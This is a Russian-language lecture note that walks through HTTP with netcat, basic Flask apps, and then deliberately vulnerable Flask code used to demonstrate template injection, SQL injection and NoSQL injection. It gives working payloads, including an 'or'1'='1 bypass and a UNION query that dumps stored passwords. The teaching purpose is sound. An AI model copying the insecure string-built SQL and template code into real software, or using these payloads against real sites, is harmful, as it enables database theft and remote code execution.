---
# System prepended metadata

title: Лекция 22.11.2019

---

# Лекция 22.11.2019
![](https://i.imgur.com/STbL73z.png)
Голубь не смог прилететь на эту лекцию, поэтому эту лекцию буду читать я. Веб я не особо люблю, поэтому ставьте моё мнение под сомнение, и взывая к рационализму, мы придём к истине, я надеюсь.
![](https://i.imgur.com/fwCJOBV.png)
## HTTP
Вы помните про http? Нет? Ну ладно, ещё покажу. HTTP, как правило работает через 80й порт, ну вы знаете. В Linux есть программа для работы с tcp, она отсечёт всё ненужное и покажет только http (а http работает поверх tcp). Называется она netcat. Из неё можно сделать простейший http сервер, но работать за него будем мы. Сейчас покажу.
Вот этой командой можно запустить сервер:
```bash=
nc -kl 80
```
Всё, сервер работает!
Если я сейчас в своём браузере введу: `localhost`.
И вот что увижу:
```http
GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: mongo-express=s%3AU4PKrH_le51NWTQ6KW8sXHf6KMay9r-6.aqXlqTILVEFHMMfkzrDzbEKov5SqGTynxmpCeDYwGQg
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 11 Feb 2009 11:20:59 GMT
```
Это запрос от браузера. Надо ему дать ответ. Вот он у меня есть, сейчас скопирую, вставляю, ага. Вотъ:
```http
HTTP/1.1 200 OK
Date: Wed, 11 Feb 2009 11:20:59 GMT
Server: Apache
X-Powered-By: PHP/5.2.4-2ubuntu5wm1
Last-Modified: Wed, 11 Feb 2009 11:20:59 GMT
Content-Language: ru
Content-Type: text/html; charset=utf-8
Content-Length: 71
Connection: close

<html>
<body>
<h1>Hello, World!</h1>
<p>description</p>
</body>
</html>
```
Смотрим браузер.
![](https://i.imgur.com/Al0YMjQ.png)
Вот можно видеть работу сервера с женщиной-китайцем внутри. (Феминистки уже выехали).
Так ей теперь придётся отвечать на каждый запрос от браузера.

![](https://i.imgur.com/y844wQR.jpg)
## Flask
![](https://i.imgur.com/HivhnxJ.png)
Мы долго спорили о том, на основе какого стека показывать вам эти лекции, останавились на flask, потому что это микро фреймворк для языка python, который вы знаете.
Чтобы поставить Flask, вам нужен pip. Ну и для последнего примера сразу же коннектор к базе данных.
```
pip install flask
pip install MySQL-python
```
### Первый пример
```python=
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "<h1>Hello World!</h1>"

if __name__ == "__main__":
    app.run()
```
Запускать так:
```bash=
FLASK_APP=file.py flask run
```
(Вместо file.py нужно название того файла, в который вы и сохранили код).
После запуска в консоль будет выведено примерно следущее сообщение:
```
 * Serving Flask app "hello.py"
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
```
Переходим по ссылке, которую он нам сообщил (http://127.0.0.1:5000/)
И должны увидеть работу первого скрипта.

## Второй пример
Не помню уже, что там было на лекции, вот вам код:
```python=
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route("/")
def index():
    username = request.args['username']
    template = '''<h2>Hello %s!</h2>''' % username
    return render_template_string(template,username=username)

if __name__ == "__main__":
    app.run()
```
Тут всё довольно просто. Нужно понимать лишь, что используются шаблоны. Шаблоны - это статическое сожержимое сайта, в которое сначала подставляются аргументы, а затем это отображается человеку. (Ну, в общих чертах)
В данном случае в шаблоне один параметр (username).
Запускаем, заходим по ссылке: `http://localhost:5000?username=rerand0m`
Видим работу. Но что, если в шаблон подать что-то, кроме просто текста? Это и будет Template injection.
Вот вам простой пример. `http://localhost:5000?username={{7*7}}`. Посмотрите результат. Таким образом в шаблон можно подставлять код, который шаблонизатор исполнит. Если у нас получится выполнить любой, нужный нам код -  то эта уязвимость называется RCE. `Remote code execute.` Для того, чтобы эксплоатировать эту уязвимость, не нужно быть гуру flask, или конкретно его шаблонизатора. Можно ввести в google: `flask template inj cheat sheet` и вы получите подробные объяснения что и как туда можно инъектировать в разных ситуациях. Помните о том, что это запущено на вашем ПК, поэтому DoS атака выведет из строя ваш же ПК.

## Третий пример или SQL injection
![](https://thisisdata.ru/wp-content/uploads/2018/04/sql.jpg)
```python=
from flask import Flask, request
import traceback
import mysql.connector as mariadb

mariadb_connection = mariadb.connect(user='root', database='base', host='127.0.0.1', port='3306')
cursor = mariadb_connection.cursor()

app = Flask(__name__)

@app.route("/")
def hello():
    try:
        cursor.execute("SELECT login FROM users WHERE id = '%s'" % request.args['id'])
        users = '';
        for row in cursor.fetchall():
            users += row[0] + " "
        return "<h1>Hello " + users + "!</h1>"
    except:
        return 'Error:\n' + traceback.format_exc()

if __name__ == "__main__":
    app.run()
```
Суть тут примерно в том же, мы вводим то, что не предусмотрел разработчик и ломаем, в данном случае не шаблон, но SQL запрос.
Давайте посмотрим.
`http://localhost:5000/?id=1`
`http://localhost:5000/?id=2`
`http://localhost:5000/?id=3`
Объясню. Мы перебираем записи в базе данных и меняя id, получаем разные имена. Теперь сделаем нечто сокровенное, что должен сделать каждый хацкер.
`http://localhost:5000/?id='
```
Error: Traceback (most recent call last): File "/Users/rerand0m/lec/flask/2/two.py", line 13, in hello
cursor.execute("SELECT login FROM users WHERE id = '%s'" % request.args['id']) File "/usr/local/lib/python2.7/site-packages/mysql/connector/cursor.py", line 551, in execute
self._handle_result(self._connection.cmd_query(stmt))
File "/usr/local/lib/python2.7/site-packages/mysql/connector/connection.py", line 490, in cmd_query result = self._handle_result(self._send_cmd(ServerCmd.QUERY, query)) File "/usr/local/lib/python2.7/site-packages/mysql/connector/connection.py", line 395, in _handle_result raise errors.get_exception(packet)
ProgrammingError: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1 
```
А вот далее вам нужно знать SQL. Т.е. примерно понимать следущее:
```
CREATE TABLE имя_таблицы ( имя_столбца_№1 тип, имя_столбца_№2 тип, имя_столбца_№3 тип, …);
DROP TABLE имя_таблицы;
INSERT INTO имя_таблицы(столбец1,столбец3) VALUES (значение1, значение2);
SELECT столбец1,столбец3 FROM имя_таблицы WHERE A=a3;
UPDATE имя_таблицы SET имя_столбца=имя_столбца;
```
А я постараюсь объяснить тонкости, которые мы используем. Из сообщения об ошибке, которое разработчик нам любезно предоставил, мы можем взять всё, что потребуется.
Тут видно, что используется MariaDB, сответсвенно MySQL, и сам запрос.
Давайте попробуем обойти проверку Where, таким образом получив все имена. Сейчас условие звучит так: "Где id = введённому значению" и мы можем дописать в его конец что угодно. Например, так: "Где id = введённому значению или если 1 = 1". Т.к. 1 всегда равно 1, то он должен вывести всё.
`http://localhost:5000/?id=1'or'1'='1`
Важно соблюсти число кавычек, иначе выведется ошибка.
И вот мы видим все имена. Но нам это не особенно интересно, поэтому я расскажу вам о другой интересной особенности одного запроса MySQL.
### И это Union
![](https://i.imgur.com/DscXox0.png)
Union позволяет объеденить несколько запросов в один, причём второй и последующие попадут в те же колонки той же таблицы, что и первый, поэтому важно, чтобы у каждого запроса было одинаковое число столбцов. Из ошибки мы видели, что там используется столбец `login`, в таких случаях очевидно, что `password` где-то рядом. Давайте попробуем.
`http://localhost:5000/?id=1'or'1'='1' union select password from users -- a`
То, что я сделал в конце - это комментарий в MySQL. Это ещё один способ игнорировать неверное число кавычек в запросе. А в остальном - я вывел все логины, затем их пароли. PoC, как говорится.
## Последнее о чём я хотел сказать
Это то, что в nosql базах данных тоже существуют инъекции и их делать даже проще, чем в SQL. Вот две строки о том, на сколько это просто:
```
Переданное значение ({ login: 'root'})//', password: '' })
Получившийся запрос db.users.findOne({ login: 'root' }) 

```
Конец. А нет, вот вам Аниме:
![](https://i.imgur.com/9f05BAg.png)
